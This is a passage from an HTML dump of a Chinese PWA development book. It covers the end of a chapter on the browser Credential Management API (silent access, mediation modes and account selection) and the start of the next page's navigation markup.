&apos;optional&apos;})</code>&#xFF0C;&#x53EA;&#x8981;&#x7528;&#x6237;&#x7B2C;&#x4E00;&#x6B21;&#x9009;&#x62E9;&#x597D;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#xFF0C;&#x5728;&#x4E0B;&#x4E00;&#x6B21;&#x91CD;&#x65B0;&#x83B7;&#x53D6;&#x65F6;&#xFF0C;&#x5C06;&#x4E0D;&#x4F1A;&#x5F39;&#x51FA;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x800C;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;&#x4E0A;&#x6B21;&#x9009;&#x62E9;&#x597D;&#x7684;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;&#xFF0C;&#x4ECE;&#x800C;&#x8D77;&#x5230;&#x7B80;&#x5316;&#x7528;&#x6237;&#x767B;&#x5F55;&#x6D41;&#x7A0B;&#x7684;&#x4F5C;&#x7528;&#x3002;&#x8FD9;&#x65F6;&#x5982;&#x679C;&#x7528;&#x6237;&#x9700;&#x8981;&#x91CD;&#x65B0;&#x9009;&#x62E9;&#x8D26;&#x6237;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8C03;&#x7528; <code>navigator.credentials.preventSilentAccess()</code> &#x65B9;&#x6CD5;&#x6765;&#x53D6;&#x6D88;&#x8FD9;&#x4E2A;&#x9759;&#x9ED8;&#x83B7;&#x53D6;&#x51ED;&#x8BC1;&#x7684;&#x8FC7;&#x7A0B;&#x3002;</p>\n<p>&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x76F4;&#x63A5;&#x6267;&#x884C;&#x8BE5;&#x51FD;&#x6570;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">preventSilentAccess</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x91CC;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;<code>preventSilentAccess()</code> &#x65B9;&#x6CD5;&#x4E3B;&#x8981;&#x914D;&#x5408; <code>mediation</code> &#x4E3A; <code>optional</code> &#x4E00;&#x8D77;&#x4F7F;&#x7528;&#x3002;&#x5982;&#x679C; <code>mediation</code> &#x4E3A; <code>silent</code>&#xFF0C;&#x5373;&#x91C7;&#x7528;&#x9759;&#x9ED8;&#x83B7;&#x53D6;&#x51ED;&#x8BC1;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;<code>preventSilentAccess()</code> &#x4F1A;&#x5BFC;&#x81F4;&#x8FD9;&#x79CD;&#x9759;&#x9ED8;&#x83B7;&#x53D6;&#x76F4;&#x63A5;&#x8FD4;&#x56DE; null&#x3002;</p>\n<p>&#x5F53; mediation &#x53D6;&#x503C;&#x4E3A; <code>silent</code> &#x6216;&#x8005; <code>optional</code>&#xFF0C;&#x4E14;&#x8FD4;&#x56DE;&#x7684;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5217;&#x8868;&#x4E2D;&#x53EA;&#x6709;&#x4E00;&#x4E2A;&#x51ED;&#x8BC1;&#xFF0C;&#x90A3;&#x4E48; <code>get()</code> &#x8FD4;&#x56DE;&#x7684; promise &#x5BF9;&#x8C61;&#x5C06;&#x76F4;&#x63A5; resolve &#x8BE5;&#x51ED;&#x8BC1;&#x4FE1;&#x606F;&#xFF0C;&#x4F46;&#x662F;&#x5F53;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5217;&#x8868;&#x5B58;&#x5728;&#x591A;&#x4E2A;&#x51ED;&#x8BC1;&#x65F6;&#xFF0C;&#x5982;&#x679C; mediation &#x4E3A; <code>silent</code>&#xFF0C;&#x90A3;&#x4E48; promise &#x5C06; <code>resolve(null)</code>&#xFF0C;&#x800C; <code>optional</code> &#x5C06;&#x5F39;&#x51FA;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x4F9B;&#x7528;&#x6237;&#x9009;&#x62E9;&#x3002;&#x9664;&#x5F00;&#x4EE5;&#x4E0A;&#x8FD9;&#x4E9B;&#x60C5;&#x51B5;&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x5E76;&#x672A;&#x4ECE;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x4E2D;&#x9009;&#x62E9;&#x76F8;&#x5E94;&#x7684;&#x8D26;&#x53F7;&#x4FE1;&#x606F;&#xFF0C;&#x540C;&#x6837;&#x7684; promise &#x4E5F;&#x5C06; <code>resolve(null)</code>&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x8BBE;&#x8BA1;&#x767B;&#x5F55;&#x6D41;&#x7A0B;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x505A;&#x597D;&#x76F8;&#x5E94;&#x7684;&#x964D;&#x7EA7;&#x63AA;&#x65BD;&#x3002;</p>\n<p>&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x5F53;&#x7AD9;&#x70B9;&#x5DF2;&#x7ECF;&#x5B58;&#x5165;&#x8EAB;&#x4EFD;&#x51ED;&#x8BC1;&#x540E;&#xFF0C;&#x8C03;&#x7528;&#x4EE5;&#x4E0B;&#x65B9;&#x6CD5;&#xFF0C;&#x5C06;&#x4F1A;&#x5F39;&#x51FA;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> navigator<span class=\"token punctuation\">.</span>credentials<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  password<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n  federated<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;https://www.baidu.com&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n  mediation<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;required&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6B64;&#x65F6;&#x5F39;&#x51FA;&#x7684;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF0C;&#x7531;&#x4E8E;&#x914D;&#x7F6E;&#x4E86; password &#x548C; federated&#xFF0C;&#x56E0;&#x6B64;&#x5BC6;&#x7801;&#x51ED;&#x8BC1;&#x548C;&#x8054;&#x5408;&#x51ED;&#x8BC1;&#x90FD;&#x663E;&#x793A;&#x5728;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5217;&#x8868;&#x4E2D;&#xFF1A;</p>\n<p><img src=\"img/credential-account-selector.jpg\" alt=\"&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5668;\"></p>\n<p>&#x5982;&#x679C;&#x53BB;&#x6389; federated &#x7684;&#x914D;&#x7F6E;&#xFF0C;&#x90A3;&#x4E48;&#x4EC5;&#x6709;&#x5BC6;&#x7801;&#x51ED;&#x8BC1;&#x7C7B;&#x578B;&#x7684;&#x5E10;&#x53F7;&#x4FE1;&#x606F;&#x5C55;&#x73B0;&#x5728;&#x8D26;&#x53F7;&#x9009;&#x62E9;&#x5217;&#x8868;&#x4E2D;&#xFF1A;</p>\n<p><img src=\"img/credential-password-selector.jpg\" alt=\"&#x5BC6;&#x7801;&#x51ED;&#x8BC1;&#x8D26;&#x53F7;&#x9009;&#x62E9;\"></p>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>&#x5728;&#x672C;&#x8282;&#x4E2D;&#x4ECB;&#x7ECD;&#x4E86;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x5E38;&#x89C1;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x5F0F;&#xFF0C;&#x901A;&#x8FC7;&#x793A;&#x4F8B;&#x5C55;&#x73B0;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x5BF9; Web App &#x767B;&#x5F55;&#x6D41;&#x7A0B;&#x7684;&#x4F18;&#x5316;&#x6548;&#x679C;&#xFF0C;&#x6211;&#x4EEC;&#x76F8;&#x4FE1;&#x5C06;&#x51ED;&#x8BC1;&#x7BA1;&#x7406; API &#x5E94;&#x7528;&#x4E8E; PWA &#x4E2D;&#xFF0C;&#x4F1A;&#x6709;&#x6548;&#x589E;&#x52A0;&#x767B;&#x5F55;&#x7528;&#x6237;&#x7559;&#x5B58;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-manifest-json.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 6.1 Web 应用清单\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-notification-api.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 6.3 桌面通知\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"6.2 凭证管理 API\",\"level\":\"1.7.2\",\"depth\":2,\"next\":{\"title\":\"6.3 桌面通知\",\"level\":\"1.7.3\",\"depth\":2,\"path\":\"chapter06/3-notification-api.md\",\"ref\":\"chapter06/3-notification-api.md\",\"articles\":[]},\"previous\":{\"title\":\"6.1 Web 应用清单\",\"level\":\"1.7.1\",\"depth\":2,\"path\":\"chapter06/1-manifest-json.md\",\"ref\":\"chapter06/1-manifest-json.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter06/2-credentials-api.md\",\"mtime\":\"2019-06-19T10:37:42.262Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter06/3-notification-api.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>6.3 桌面通知 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-web-push-api.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-credentials-api.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                